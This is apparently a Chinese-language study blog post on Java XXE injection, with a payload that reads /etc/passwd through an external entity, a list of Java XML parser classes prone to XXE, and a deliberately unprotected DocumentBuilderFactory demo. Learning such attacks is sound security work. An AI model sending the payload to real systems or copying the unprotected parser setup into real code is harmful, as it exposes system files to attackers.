JAVA XXE

Word count: 462 / Reading time: 2 min

 2019/10/02   Share

前言

没接触过java xxe，于是学习一下java xxe

关于XXE

这个和php里的xxe几乎没什么差别，都是外部实体的引用，payload也一样

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]> 
<user><username>&xxe;</username><password>123456</password></user>

可能造成XXE的函数

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

java xxe demo

Java常用解析XML的方式有DOM，SAX，JDOM和DOM4j
编写测试代码(DOM)

package me.gv7.javaxxe;

import org.w3c.dom.Document;
import org.xml.sax.SAXException;
import javax.xml.parsers.*;
import java.io.ByteArrayInputStream;
import java.io.InputStream;

public class DOMXXETest {
    public static void main(String[] args) throws ParserConfigurationException,SAXException,Exception{
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            String str = "<!DOCTYPE doc [ \n" +
                    "<!ENTITY win SYSTEM \"http://127.0.0.1:1664\">\n" +
                    "]><doc>&win;</doc>";
            InputStream is = new ByteArrayInputStream(str.getBytes());
            Document doc = db.parse(is);
    }
}